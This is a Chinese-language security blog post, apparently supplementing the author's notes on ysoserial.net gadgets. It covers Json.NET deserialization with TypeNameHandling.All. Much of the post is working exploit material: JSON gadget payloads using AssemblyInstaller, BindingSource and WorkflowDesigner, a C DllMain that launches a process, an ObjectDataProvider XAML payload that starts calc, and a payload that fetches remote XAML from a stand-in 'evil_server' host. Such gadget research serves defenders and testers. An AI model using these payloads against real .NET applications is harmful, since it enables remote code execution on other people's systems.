警告
本文最后更新于 2022-01-21,文中内容可能已过时。
之前写了一些ysoserial.net工具中常见的gadget,文章放在了我的GitHub,这篇文章对其进行补充。
全文以json.net
反序列化为例,开启TypeNameHandling.All
。
测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| using Newtonsoft.Json;
using System.IO;
namespace ConsoleApp4
{
internal class Program
{
static void Main(string[] args)
{
JsonConvert.DeserializeObject(File.ReadAllText(args[0]), new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.All
});
}
}
}
|
这个类在GAC中,它的Path属性中会进行Assembly.LoadFrom(value)
那么构造json
1
2
3
4
| {
"$type": "System.Configuration.Install.AssemblyInstaller,System.Configuration.Install, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a",
"Path": "file:///c:/somePath/MixedLibrary.dll"
}
|
其中Path属性需要是目标机器存在的一个dll。
此处的dll如果为dotnet的dll,还需要通过HelpText属性的getter触发静态构造函数中的rce。注意dll中需要标记RunInstaller并继承Installer
dll可以用混合程序集Mixed Assembly,直接修改这个项目:https://github.com/noperator/CVE-2019-18935 项目中sleep.c,修改为
1
2
3
4
5
6
7
8
9
| #include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
system("calc");
return TRUE;
}
|
这个可以触发任意的getter,刚好接上上面的AssemblyInstaller
1
2
3
4
5
6
7
8
| {
"$type": "System.Windows.Forms.BindingSource, System.Windows.Forms,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"DataMember": "HelpText",
"dataSource": {
"$type": "System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a",
"Path": "file:///c:/somePath/MixedLibrary.dll"
}
}
|
dataSource是个object类型的对象,放什么都行,他的DataMember调用setter时调用ResetList
在GetList中
造成任意getter调用
也在GAC中,PropertyInspectorFontAndColorData属性会进行XamlParse.load,借助ObjectDataProvider可以RCE
1
2
3
| {"$type":"System.Activities.Presentation.WorkflowDesigner,System.Activities.Presentation, Version=4.0.0.0, Culture=neutral,PublicKeyToken=31bf3856ad364e35",
"PropertyInspectorFontAndColorData":"<ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" xmlns:System=\"clr-namespace:System;assembly=mscorlib\" xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\"> <ObjectDataProvider x:Key=\"LaunchCalc\" ObjectType=\"{x:Type Diag:Process}\" MethodName=\"Start\"> <ObjectDataProvider.MethodParameters> <System:String>calc</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider></ResourceDictionary>"
}
|
限制:此类型的构造函数需要Single-Threaded-Apartment (STA)线程
可以从远程服务器下载xamlpayload,然后进行xamlreader.load
1
2
3
4
5
6
7
| {
"__type": "System.Windows.Application, PresentationFramework,Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"Resources": {
"__type": "System.Windows.ResourceDictionary,PresentationFramework, Version=4.0.0.0, Culture=neutral,PublicKeyToken=31bf3856ad364e35",
"Source": "http://evil_server/EvilSite/Xamlpayload"
}
}
|
Source的setter中
在GetObjectAndCloseStream
从MimeObjectFactory._objectConverters中拿到StreamToObjectFactoryDelegate委托调用,而_objectConverters可以通过自身Register方法注册。分析调用关系
在这里注册了XamlConverter
进行了XamlReader.Load()
最后一个
调用binaryformatter,可以二次反序列化rce。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。